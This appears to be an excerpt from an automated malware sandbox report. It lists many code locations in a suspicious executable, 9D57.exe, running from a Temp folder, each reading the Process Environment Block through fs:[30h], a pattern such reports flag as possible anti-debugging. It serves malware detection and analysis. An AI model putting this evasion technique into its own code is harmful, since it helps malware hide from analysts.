Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CF6A mov eax, dword ptr fs:[00000030h]	23_2_6D27CF6A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CF6A mov eax, dword ptr fs:[00000030h]	23_2_6D27CF6A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]	23_2_6D272F70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]	23_2_6D272F70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]	23_2_6D272F70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]	23_2_6D272F70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]	23_2_6D272F70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]	23_2_6D272F70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272F70 mov eax, dword ptr fs:[00000030h]	23_2_6D272F70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318F6A mov eax, dword ptr fs:[00000030h]	23_2_6D318F6A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24A745 mov eax, dword ptr fs:[00000030h]	23_2_6D24A745
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E746 mov eax, dword ptr fs:[00000030h]	23_2_6D24E746
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E746 mov eax, dword ptr fs:[00000030h]	23_2_6D24E746
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DF4C mov eax, dword ptr fs:[00000030h]	23_2_6D27DF4C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F mov eax, dword ptr fs:[00000030h]	23_2_6D2D5F5F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F mov eax, dword ptr fs:[00000030h]	23_2_6D2D5F5F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F mov eax, dword ptr fs:[00000030h]	23_2_6D2D5F5F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F mov eax, dword ptr fs:[00000030h]	23_2_6D2D5F5F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F mov eax, dword ptr fs:[00000030h]	23_2_6D2D5F5F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov ecx, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 mov eax, dword ptr fs:[00000030h]	23_2_6D242FB0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]	23_2_6D2737EB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]	23_2_6D2737EB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]	23_2_6D2737EB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]	23_2_6D2737EB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]	23_2_6D2737EB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]	23_2_6D2737EB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB mov eax, dword ptr fs:[00000030h]	23_2_6D2737EB
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2837F5 mov eax, dword ptr fs:[00000030h]	23_2_6D2837F5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243FC5 mov eax, dword ptr fs:[00000030h]	23_2_6D243FC5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243FC5 mov eax, dword ptr fs:[00000030h]	23_2_6D243FC5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243FC5 mov eax, dword ptr fs:[00000030h]	23_2_6D243FC5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D7CA mov eax, dword ptr fs:[00000030h]	23_2_6D27D7CA
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D7CA mov eax, dword ptr fs:[00000030h]	23_2_6D27D7CA
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E620 mov eax, dword ptr fs:[00000030h]	23_2_6D24E620
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D280E21 mov eax, dword ptr fs:[00000030h]	23_2_6D280E21
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]	23_2_6D2C5623
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]	23_2_6D2C5623
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]	23_2_6D2C5623
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]	23_2_6D2C5623
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]	23_2_6D2C5623
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]	23_2_6D2C5623
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]	23_2_6D2C5623
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]	23_2_6D2C5623
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C5623 mov eax, dword ptr fs:[00000030h]	23_2_6D2C5623
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFE3F mov eax, dword ptr fs:[00000030h]	23_2_6D2FFE3F
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C63D mov eax, dword ptr fs:[00000030h]	23_2_6D27C63D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24A63B mov eax, dword ptr fs:[00000030h]	23_2_6D24A63B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24A63B mov eax, dword ptr fs:[00000030h]	23_2_6D24A63B
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24C600 mov eax, dword ptr fs:[00000030h]	23_2_6D24C600
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24C600 mov eax, dword ptr fs:[00000030h]	23_2_6D24C600
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24C600 mov eax, dword ptr fs:[00000030h]	23_2_6D24C600
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D2E14 mov eax, dword ptr fs:[00000030h]	23_2_6D2D2E14
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25766D mov eax, dword ptr fs:[00000030h]	23_2_6D25766D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CE6C mov eax, dword ptr fs:[00000030h]	23_2_6D27CE6C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CE6C mov ecx, dword ptr fs:[00000030h]	23_2_6D27CE6C
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CAE60 mov eax, dword ptr fs:[00000030h]	23_2_6D2CAE60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CAE60 mov eax, dword ptr fs:[00000030h]	23_2_6D2CAE60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CAE60 mov eax, dword ptr fs:[00000030h]	23_2_6D2CAE60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CAE60 mov eax, dword ptr fs:[00000030h]	23_2_6D2CAE60
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D273E70 mov eax, dword ptr fs:[00000030h]	23_2_6D273E70
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FF674 mov eax, dword ptr fs:[00000030h]	23_2_6D2FF674
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6652 mov eax, dword ptr fs:[00000030h]	23_2_6D2D6652
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C46A7 mov eax, dword ptr fs:[00000030h]	23_2_6D2C46A7
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D2EA3 mov eax, dword ptr fs:[00000030h]	23_2_6D2D2EA3
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243E80 mov eax, dword ptr fs:[00000030h]	23_2_6D243E80
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243E80 mov eax, dword ptr fs:[00000030h]	23_2_6D243E80
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DE9E mov eax, dword ptr fs:[00000030h]	23_2_6D27DE9E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DE9E mov eax, dword ptr fs:[00000030h]	23_2_6D27DE9E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DE9E mov eax, dword ptr fs:[00000030h]	23_2_6D27DE9E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2716E0 mov ecx, dword ptr fs:[00000030h]	23_2_6D2716E0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2576E2 mov eax, dword ptr fs:[00000030h]	23_2_6D2576E2
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D283EE4 mov eax, dword ptr fs:[00000030h]	23_2_6D283EE4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D283EE4 mov eax, dword ptr fs:[00000030h]	23_2_6D283EE4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D283EE4 mov eax, dword ptr fs:[00000030h]	23_2_6D283EE4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318ED6 mov eax, dword ptr fs:[00000030h]	23_2_6D318ED6
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2736CC mov eax, dword ptr fs:[00000030h]	23_2_6D2736CC
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 mov eax, dword ptr fs:[00000030h]	23_2_6D264120
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 mov eax, dword ptr fs:[00000030h]	23_2_6D264120
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 mov eax, dword ptr fs:[00000030h]	23_2_6D264120
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 mov eax, dword ptr fs:[00000030h]	23_2_6D264120
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 mov ecx, dword ptr fs:[00000030h]	23_2_6D264120
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243138 mov ecx, dword ptr fs:[00000030h]	23_2_6D243138
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27513A mov eax, dword ptr fs:[00000030h]	23_2_6D27513A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27513A mov eax, dword ptr fs:[00000030h]	23_2_6D27513A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249100 mov eax, dword ptr fs:[00000030h]	23_2_6D249100
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249100 mov eax, dword ptr fs:[00000030h]	23_2_6D249100
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249100 mov eax, dword ptr fs:[00000030h]	23_2_6D249100
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D250100 mov eax, dword ptr fs:[00000030h]	23_2_6D250100
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D250100 mov eax, dword ptr fs:[00000030h]	23_2_6D250100
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D250100 mov eax, dword ptr fs:[00000030h]	23_2_6D250100
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30E962 mov eax, dword ptr fs:[00000030h]	23_2_6D30E962
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B171 mov eax, dword ptr fs:[00000030h]	23_2_6D24B171
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B171 mov eax, dword ptr fs:[00000030h]	23_2_6D24B171
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318966 mov eax, dword ptr fs:[00000030h]	23_2_6D318966
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B944 mov eax, dword ptr fs:[00000030h]	23_2_6D26B944
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26B944 mov eax, dword ptr fs:[00000030h]	23_2_6D26B944
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24395E mov eax, dword ptr fs:[00000030h]	23_2_6D24395E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24395E mov eax, dword ptr fs:[00000030h]	23_2_6D24395E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F1B5 mov eax, dword ptr fs:[00000030h]	23_2_6D31F1B5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F1B5 mov eax, dword ptr fs:[00000030h]	23_2_6D31F1B5
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2761A0 mov eax, dword ptr fs:[00000030h]	23_2_6D2761A0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2761A0 mov eax, dword ptr fs:[00000030h]	23_2_6D2761A0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C51BE mov eax, dword ptr fs:[00000030h]	23_2_6D2C51BE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C51BE mov eax, dword ptr fs:[00000030h]	23_2_6D2C51BE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C51BE mov eax, dword ptr fs:[00000030h]	23_2_6D2C51BE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C51BE mov eax, dword ptr fs:[00000030h]	23_2_6D2C51BE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3049A4 mov eax, dword ptr fs:[00000030h]	23_2_6D3049A4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3049A4 mov eax, dword ptr fs:[00000030h]	23_2_6D3049A4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3049A4 mov eax, dword ptr fs:[00000030h]	23_2_6D3049A4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3049A4 mov eax, dword ptr fs:[00000030h]	23_2_6D3049A4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C9BF mov eax, dword ptr fs:[00000030h]	23_2_6D27C9BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27C9BF mov eax, dword ptr fs:[00000030h]	23_2_6D27C9BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov eax, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov eax, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov eax, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov ecx, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2699BF mov eax, dword ptr fs:[00000030h]	23_2_6D2699BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27A185 mov eax, dword ptr fs:[00000030h]	23_2_6D27A185
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26C182 mov eax, dword ptr fs:[00000030h]	23_2_6D26C182
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274190 mov eax, dword ptr fs:[00000030h]	23_2_6D274190
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D272990 mov eax, dword ptr fs:[00000030h]	23_2_6D272990
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30A189 mov eax, dword ptr fs:[00000030h]	23_2_6D30A189
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30A189 mov ecx, dword ptr fs:[00000030h]	23_2_6D30A189
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24519E mov eax, dword ptr fs:[00000030h]	23_2_6D24519E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24519E mov ecx, dword ptr fs:[00000030h]	23_2_6D24519E
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2431E0 mov eax, dword ptr fs:[00000030h]	23_2_6D2431E0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D41E8 mov eax, dword ptr fs:[00000030h]	23_2_6D2D41E8
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B1E1 mov eax, dword ptr fs:[00000030h]	23_2_6D24B1E1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B1E1 mov eax, dword ptr fs:[00000030h]	23_2_6D24B1E1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B1E1 mov eax, dword ptr fs:[00000030h]	23_2_6D24B1E1
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E9ED mov eax, dword ptr fs:[00000030h]	23_2_6D24E9ED
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3189E7 mov eax, dword ptr fs:[00000030h]	23_2_6D3189E7
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2599C7 mov eax, dword ptr fs:[00000030h]	23_2_6D2599C7
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2599C7 mov eax, dword ptr fs:[00000030h]	23_2_6D2599C7
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2599C7 mov eax, dword ptr fs:[00000030h]	23_2_6D2599C7
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2599C7 mov eax, dword ptr fs:[00000030h]	23_2_6D2599C7
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274020 mov edi, dword ptr fs:[00000030h]	23_2_6D274020
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25B02A mov eax, dword ptr fs:[00000030h]	23_2_6D25B02A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25B02A mov eax, dword ptr fs:[00000030h]	23_2_6D25B02A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25B02A mov eax, dword ptr fs:[00000030h]	23_2_6D25B02A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25B02A mov eax, dword ptr fs:[00000030h]	23_2_6D25B02A
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A830 mov eax, dword ptr fs:[00000030h]	23_2_6D26A830
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A830 mov eax, dword ptr fs:[00000030h]	23_2_6D26A830
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A830 mov eax, dword ptr fs:[00000030h]	23_2_6D26A830
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26A830 mov eax, dword ptr fs:[00000030h]	23_2_6D26A830
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D314015 mov eax, dword ptr fs:[00000030h]	23_2_6D314015
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D314015 mov eax, dword ptr fs:[00000030h]	23_2_6D314015
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246800 mov eax, dword ptr fs:[00000030h]	23_2_6D246800
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246800 mov eax, dword ptr fs:[00000030h]	23_2_6D246800
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246800 mov eax, dword ptr fs:[00000030h]	23_2_6D246800
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D258800 mov eax, dword ptr fs:[00000030h]	23_2_6D258800
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F019 mov eax, dword ptr fs:[00000030h]	23_2_6D31F019
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F019 mov eax, dword ptr fs:[00000030h]	23_2_6D31F019
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E009 mov eax, dword ptr fs:[00000030h]	23_2_6D24E009
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F018 mov eax, dword ptr fs:[00000030h]	23_2_6D24F018
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F018 mov eax, dword ptr fs:[00000030h]	23_2_6D24F018
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D302073 mov eax, dword ptr fs:[00000030h]	23_2_6D302073
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D311074 mov eax, dword ptr fs:[00000030h]	23_2_6D311074
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26F86D mov eax, dword ptr fs:[00000030h]	23_2_6D26F86D
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D247055 mov eax, dword ptr fs:[00000030h]	23_2_6D247055
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245050 mov eax, dword ptr fs:[00000030h]	23_2_6D245050
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245050 mov eax, dword ptr fs:[00000030h]	23_2_6D245050
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245050 mov eax, dword ptr fs:[00000030h]	23_2_6D245050
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2538A4 mov eax, dword ptr fs:[00000030h]	23_2_6D2538A4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2538A4 mov ecx, dword ptr fs:[00000030h]	23_2_6D2538A4
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2890AF mov eax, dword ptr fs:[00000030h]	23_2_6D2890AF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov eax, dword ptr fs:[00000030h]	23_2_6D2528AE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov eax, dword ptr fs:[00000030h]	23_2_6D2528AE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov eax, dword ptr fs:[00000030h]	23_2_6D2528AE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov ecx, dword ptr fs:[00000030h]	23_2_6D2528AE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov eax, dword ptr fs:[00000030h]	23_2_6D2528AE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2528AE mov eax, dword ptr fs:[00000030h]	23_2_6D2528AE
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]	23_2_6D24E8B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]	23_2_6D24E8B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]	23_2_6D24E8B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]	23_2_6D24E8B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]	23_2_6D24E8B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E8B0 mov eax, dword ptr fs:[00000030h]	23_2_6D24E8B0
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27F0BF mov ecx, dword ptr fs:[00000030h]	23_2_6D27F0BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27F0BF mov eax, dword ptr fs:[00000030h]	23_2_6D27F0BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27F0BF mov eax, dword ptr fs:[00000030h]	23_2_6D27F0BF
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243880 mov eax, dword ptr fs:[00000030h]	23_2_6D243880
